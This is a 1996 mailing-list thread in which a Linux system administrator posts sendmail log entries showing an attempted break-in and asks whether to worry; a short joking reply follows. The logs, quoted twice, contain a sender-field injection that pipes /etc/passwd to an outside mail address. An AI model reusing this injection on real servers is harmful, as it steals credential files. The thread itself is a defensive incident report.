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Black Unicorn attempts computer break in

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NODE 224a3534Black Unicorn attempts computer break in
Date:         Wed, 27 Mar 1996 16:58:14 +1100
Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
Subject:      Strange things afoot at my SMTP port...
To: Multiple recipients of list SERVER-LINUX
              <SERVER-LINUX@NETSPACE.ORG>

I just found these while going through my messages file... do I
have any need to be concerned???
(unicorn.it.wsu.edu is now in my /etc/hosts.deny...)

Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
received from unicorn.it.wsu.edu [1
Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
nrcpts=0, proto=SMTP, relay=uni

There were also attempts at connecting to my tftp port, although
at the time, in.tftpd wasn't on the system (it is now, and is also
in my hosts.deny to all except for local)

Thanks...


                      Interspace Australia Pty Ltd
                   Steve Gibson - System Administrator
                       <steve@interspace.com.au>
NODE 964ad5e6Re: Black Unicorn attempts computer break in
On Wed, 27 Mar 1996, Anonymous wrote:

> Date:         Wed, 27 Mar 1996 16:58:14 +1100
> Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
> Subject:      Strange things afoot at my SMTP port...
> To: Multiple recipients of list SERVER-LINUX
>               <SERVER-LINUX@NETSPACE.ORG>
> 
> I just found these while going through my messages file... do I
> have any need to be concerned???
> (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
> 
> Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
> received from unicorn.it.wsu.edu [1
> Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
> nrcpts=0, proto=SMTP, relay=uni
> 
> There were also attempts at connecting to my tftp port, although
> at the time, in.tftpd wasn't on the system (it is now, and is also
> in my hosts.deny to all except for local)
> 
> Thanks...

You should be deeply concerned.

It's clear that I have been having blackouts again.

> 
>                       Interspace Australia Pty Ltd
>                    Steve Gibson - System Administrator
>                        <steve@interspace.com.au>

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